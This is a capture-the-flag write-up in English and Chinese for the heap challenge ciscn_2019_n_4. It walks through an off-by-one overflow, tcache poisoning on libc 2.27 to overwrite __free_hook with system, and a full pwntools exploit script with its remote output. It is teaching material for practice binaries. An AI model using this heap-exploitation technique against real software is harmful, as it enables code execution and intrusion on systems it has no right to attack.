WriteUp: w0odpeck3r's Nest

0x0 Checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

0x1 Reverse Enginnering

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 decoratenest()
{
int idx; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
idx = atoi(buf);
if ( idx < 0 || idx > 9 )
{
puts("OOB!My Boy!");
_exit(0);
}
if ( nests[idx] )
{
printf("what stuff you wanna put in the nest?");
myread(nests[idx]->pointer, nests[idx]->size + 1);// offbyone attack
puts("Done !");
}
else
{
puts("No such nest !");
}
return __readfsqword(0x28u) ^ v3;
}

漏洞发生在decoratenest函数中,在写调用myreadnests[idx]->pointer时, size超出1 byte,因此会造成off by one attack

0x2 Analyze

gdb调试后,确实是libc-2.27.so上的off-by-one attack, 有t-cache存在。通过heap 风水布局内存,形成内存chunkoverlay, 从而形成Read After Freeleak libc, Write After Free以修改T-cache链,达到任意地址写。

libc.sym.system写入__free_hook,将/bin/sh\x00写入某chunk,最后freechunk,即可get shell.

0x3 Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!python3
from pwn import *
from LibcSearcher import *

context.clear(arch='amd64', os='linux')
elf = context.binary = ELF("bin")
libc = elf.libc

context.terminal = ["tmux", "split", "-h"]
# context.log_level = 'debug'

gs = '''
# set breakpoint pending on
# b system
# b *__free_hook
continue
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote('node4.buuoj.cn', 28213)
else:
return process(elf.path)

sla = lambda x,ctn: io.sendlineafter(x, ctn)
sa = lambda x, value: io.sendafter(x, value)

nestId = [0] * 10
def build(full, data):
global nestId
sla(b'Your choice :', b'1')
sla(b"how big is the nest ?", str(full).encode())
sa(b"what stuff you wanna put in the nest?", data)

id = -1
for i in range(10):
if nestId[i] == 0:
id = i
nestId[i] = 1
break

return id

def decorate(id, data):
sla(b'Your choice :', b'2')
sla(b"Index :", str(id).encode())
sa(b"what stuff you wanna put in the nest?", data)

def show(id):
sla(b'Your choice :', b'3')
sla(b"Index :", str(id).encode())
io.recvuntil(b"Size : ")
size = int(io.recvuntil(b"\n", drop=True))
io.recvuntil(b"Decorations : ")
data = io.recvuntil(b"\nDone !\n", drop=True)
return size, data

def crash(id):
global nestId
sla(b'Your choice :', b'4')
sla(b"Index :", str(id).encode())
nestId[id] = 0

def leave():
sla(b'Your choice :', b'5')

# ================================================================================
io = start()

io.timeout = 3000

full = 0xa0 - 8
half = 0x50 - 8

A = build(0x18, b'A')
B = build(0x18, b'B')

crash(B)
crash(A)

A = build(half, b'A')
B = build(half, b'B')
C = build(half, b'C')
D = build(half, b'D') # D的目的是保证C-size被篡改成full后,依然是和前后的chunk对齐的

# 将B,C的size给篡改成full; 从而实现:B后半覆盖C前半、C后半覆盖D
decorate(A, b'A'*half + p8(full + 8 + 1))
decorate(B, b'B'*half + p8(full + 8 + 1))

crash(B)
B = build(full, b'B' )
# B:

crash(D)

## 填满t-cache : full
fill = []
for i in range(7):
fill.append(build(full, b'F'))

for i in range(7):
crash(fill[i])

# free C into unsorted bin
crash(C)

# 填充B的内容一直到C->fd,从而读出 C->fd, 该值为 &main_arena->top
decorate(B, b'B'*(half+8))
Bsize, Bdata = show(B)
# log.info(f"Bszie : {Bsize}, Bdata : {Bdata}")

arena = u64(Bdata[half+8:].ljust(8,b'\0') ) - 0x60
log.success(f"arena : {hex(arena)}")

# 从泄露的&main_arena->top计算出libc偏移
libc.address = arena - (libc.sym['__malloc_hook'] + 0x10) #&main_arena = &__malloc_hook + 0x10

decorate(B, b'B'*half + p64(half+8+1)) #将C的chunk-size改为half + 8 + 1
# bins of half size:
# 1. t-cache : D(size=half)
# 2. unsorted-bin : C(size=half)
D = build(half, b'D') #消耗掉t-cache
C = build(half, b'C') #消耗掉unsorted-bin

crash(D) #
crash(C) # C被free进T-cache; 现在可以通过B控制T-cache中的Chunk,从而实现任意地址写。
decorate(B, b'B'*(half) + p64(half+8+1) + p64(libc.sym.__free_hook) )

C = build(half, b'/bin/sh\0')
free_hook_chunk = build(half, p64(libc.sym.system))
crash(C)

# =============================================================================
## got shell
time.sleep(0.2) # wait system(sh)
io.sendline(b"cat flag")
ctn = io.recv()
log.success(f"flag : {ctn}")

# io.sendline(b"exit")
# leave()
io.close()
# io.interactive()


0x4 Output Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
╰─$ python xpl.py REMOTE                                                     
[*] 'ciscn_2019_n_4/bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
[*] 'libs/2.27-3ubuntu1_amd64/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to node4.buuoj.cn on port 28213: Done
[+] arena : 0x7f4cf5608c40
[+] flag : b'flag{af93cac8-****-4250-****-31627e1ebe9a}\n'
[*] Closed connection to node4.buuoj.cn port 28213

0x5 The Challenge

https://buuoj.cn/challenges#ciscn_2019_n_4

Powered By Valine
v1.5.2